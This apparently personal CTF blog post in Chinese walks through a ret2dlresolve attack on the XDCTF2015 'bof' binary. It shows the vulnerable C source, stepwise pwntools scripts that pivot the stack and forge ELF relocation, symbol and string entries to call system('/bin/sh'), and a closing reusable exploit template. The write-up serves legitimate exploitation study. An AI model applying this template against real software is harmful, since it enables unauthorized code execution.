时隔多天…终于把利用的原理也给搞明白了,上一篇只是说到dl_runtime_resolve
的基础知识,这里就演示一下整个函数重定向攻击的流程
知识储备
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <unistd.h> #include <stdio.h> #include <string.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; }
|
利用思路
- 劫持
eip
到PLT[0]的地址,向_dl_fixup
传参
- 控制
index_arg
的大小,使是程序引向伪造的rel.plt
位置
- index_arg指向Elf32_Rel->r_info
- 伪造
rel.plt
的内容,使reloc引向伪造的dynsym
位置
- r_info指向Elf32_Rel->st_name
- 伪造
dynsym
的内容,使dynsym引向伪造的dynstr
位置
- 伪造
dynstr
为任意库函数,如system
攻击流程
利用Stack Pivot
转移栈
先将栈转移到我们伪造的栈中,然后执行其中内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.terminal = ['tmux','splitw','-h'] context.log_level = 'debug' io = process("./bof") elf = ELF('./bof') offset = 112*"a" read_plt = elf.plt['read'] write_plt = elf.plt['write'] ppp_ret = 0x080492d9 pop_ebp_ret = 0x080492db leave_ret = 0x08049105 stack_size = 0x800 bss_addr = elf.bss() base_stage = bss_addr+stack_size success("base_stage:0x%x",base_stage) payload = offset payload += p32(read_plt) payload += p32(ppp_ret) payload += p32(0) payload += p32(base_stage) payload += p32(100) payload += p32(pop_ebp_ret) payload += p32(base_stage) payload += p32(leave_ret) io.recvuntil("!\n") io.sendline(payload)
cmd = "/bin/sh" payload2 = "bbbb" payload2 += p32(write_plt) payload2 += "cccc" payload2 += p32(1) payload2 += p32(base_stage + 80) payload2 += p32(len(cmd)) payload2 += "d"*(80-len(payload2)) payload2 += cmd payload2 += "e"*(100-len(payload2)) io.sendline(payload2) io.interactive()
|
这是一个简单的在伪造的栈内执行write进行输出的过程,下面继续
劫持reloc_arg
为了找到.rel.plt
,控制EIP
跳转到PLT[0]
,然后将我们伪造的index_offset
压入函数执行
PLT[0]
处的汇编指令
write@plt
的汇编指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ... plt_0 = 0x08049020 index_offset = 0x20 cmd = "/bin/sh" payload2 = "bbbb" payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += "cccc" payload2 += p32(1) payload2 += p32(base_stage + 80) payload2 += p32(len(cmd)) payload2 += "d"*(80-len(payload2)) payload2 += cmd payload2 += "e"*(100-len(payload2))
io.sendline(payload2) io.interactive()
|
伪造.rel.plt
由于dl_fixup函数内是根据距离reloc_arg的偏移来确定rel.plt表位置的
所以这里只要劫持index_info
,就可以让程序指向我们伪造的.rel.plt表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| ... plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
success("plt_0:0x%x",plt_0) success("rel_Plt:0x%x",rel_plt) index_offset = (base_stage+28)-rel_plt write_got = elf.got['write'] r_info = 0x607 fake_reloc = p32(write_got)+p32(r_info) cmd = "/bin/sh" payload2 = "bbbb" payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += "cccc" payload2 += p32(1) payload2 += p32(base_stage + 80) payload2 += p32(len(cmd)) payload2 += fake_reloc payload2 += "d"*(80-len(payload2)) payload2 += cmd payload2 += "e"*(100-len(payload2))
io.sendline(payload2) io.interactive()
|
伪造.dynsym
伪造.dynsym使.dynsym->st_name
指向伪造的.dynstr
先看一下在IDA中.dynsym的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| ... plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
success("plt[0]:0x%x",plt_0) success(".rel.plt:0x%x",rel_plt) index_offset = (base_stage+28)-rel_plt write_got = elf.got['write'] dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr success("dynsym:0x%x",dynsym) success("dynstr:0x%x",dynstr) fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym)&0xf) fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym)/0x10 r_info = (index_dynsym <<8)|0x7
fake_reloc = p32(write_got)+p32(r_info) st_name = 0x4c fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12) cmd = "/bin/sh" payload2 = "bbbb" payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += "cccc" payload2 += p32(1) payload2 += p32(base_stage + 80) payload2 += p32(len(cmd)) payload2 += fake_reloc payload2 += "f"*align payload2 += fake_sym payload2 += "d"*(80-len(payload2)) payload2 += cmd payload2 += "e"*(100-len(payload2))
io.sendline(payload2) io.interactive()
|
伪造.dynstr
伪造.dynstr使.dynsym->st_name
指向我们自己输入的write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| ... plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
success("plt[0]:0x%x",plt_0) success(".rel.plt:0x%x",rel_plt) index_offset = (base_stage+28)-rel_plt write_got = elf.got['write'] dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr success("dynsym:0x%x",dynsym) success("dynstr:0x%x",dynstr) fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym)&0xf) fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym)/0x10 r_info = (index_dynsym <<8)|0x7
fake_reloc = p32(write_got)+p32(r_info) st_name = (fake_sym_addr+0x10)-dynstr fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12) cmd = "/bin/sh" payload2 = "bbbb" payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += "cccc" payload2 += p32(1) payload2 += p32(base_stage + 80) payload2 += p32(len(cmd)) payload2 += fake_reloc payload2 += "f"*align payload2 += fake_sym payload2 += "write\x00" payload2 += "d"*(80-len(payload2)) payload2 += cmd payload2 += "e"*(100-len(payload2))
io.sendline(payload2) io.interactive()
|
到这里因该就能明了这一系列操作是怎么实现的了,接下来直接更换st_name
和参数
伪造system
的.dynstr
伪造.dynstr使.dynsym->st_name
指向伪造的其他函数如system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
success("plt[0]:0x%x",plt_0) success(".rel.plt:0x%x",rel_plt) index_offset = (base_stage+28)-rel_plt write_got = elf.got['write'] dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr success("dynsym:0x%x",dynsym) success("dynstr:0x%x",dynstr) fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym)&0xf) fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym)/0x10 r_info = (index_dynsym <<8)|0x7
fake_reloc = p32(write_got)+p32(r_info) st_name = (fake_sym_addr+0x10)-dynstr fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12) cmd = "/bin/sh\x00" payload2 = "bbbb" payload2 += p32(plt_0) payload2 += p32(index_offset) payload2 += "cccc" payload2 += p32(base_stage + 80) payload2 += "gggg" payload2 += "hhhh" payload2 += fake_reloc payload2 += "f"*align payload2 += fake_sym payload2 += "system\x00" payload2 += "d"*(80-len(payload2)) payload2 += cmd payload2 += "e"*(100-len(payload2))
io.sendline(payload2) io.interactive()
|
到这里就彻底完成了函数重定位攻击的所有流程,ret2dlresolve可以说是我学PWN以来最认真的、耗时最长、注释最多(基本上每行一注释简直让人头皮发麻…)的一个了,看着下面返回的shell真的是深感欣慰…
EXP模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * context.terminal = ['tmux','splitw','-h'] context.log_level = 'debug' io = process("./bof") elf = ELF('./bof') def stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret): payload = offset payload += p32(input_plt)+p32(ppp_ret) payload += p32(0) payload += p32(base_stage) payload += p32(100) payload += p32(pop_ebp_ret) payload += p32(base_stage) payload += p32(leave_ret) io.recvuntil("!\n") io.sendline(payload) def ret2dl(f_sym,fake_synstr,arg_1,arg_2,arg_3): plt_0 = elf.get_section_by_name('.plt').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr dynsym = elf.get_section_by_name('.dynsym').header.sh_addr dynstr = elf.get_section_by_name('.dynstr').header.sh_addr success("plt[0]:0x%x",plt_0) success(".rel.plt:0x%x",rel_plt) success("dynsym:0x%x",dynsym) success("dynstr:0x%x",dynstr) index_offset = (base_stage+28)-rel_plt f_sym = elf.got[f_sym] fake_sym_addr = base_stage + 36 align = 0x10 - ((fake_sym_addr - dynsym)&0xf) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym)/0x10 r_info = (index_dynsym <<8)|0x7 fake_reloc = p32(f_sym)+p32(r_info) st_name = (fake_sym_addr+0x10)-dynstr fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12) payload2 = "bbbb" + p32(plt_0) + p32(index_offset) + p32(0) payload2 += p32(base_stage + 80) + p32(arg_2) + p32(arg_3) payload2 += fake_reloc + ("f"*align) payload2 += fake_sym payload2 += fake_synstr payload2 += "d"*(80-len(payload2)) payload2 += arg_1 payload2 += "e"*(100-len(payload2)) io.sendline(payload2) io.interactive()
offset = 112*"a" input_plt = elf.plt['read'] ppp_ret = 0x080492d9 pop_ebp_ret = 0x080492db leave_ret = 0x08049105 stack_size = 0x800 bss_addr = elf.bss() base_stage = bss_addr+stack_size success("base_stage:0x%x",base_stage) system_str = "system\x00" binsh_str = "/bin/sh\x00" stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret) ret2dl("write",system_str,binsh_str,0,0)
|
结尾
{% note success %}
### 收获总结
* ELF文件结构
* 栈平衡
* 栈转移
* 函数重定位攻击
* 对GDB调试更加熟练
* 以及Python神奇的按位与运算和补位操作
{% endnote %}
{% note info no-icon %}
### 学习链接
*
*
*
*
{%endnote%}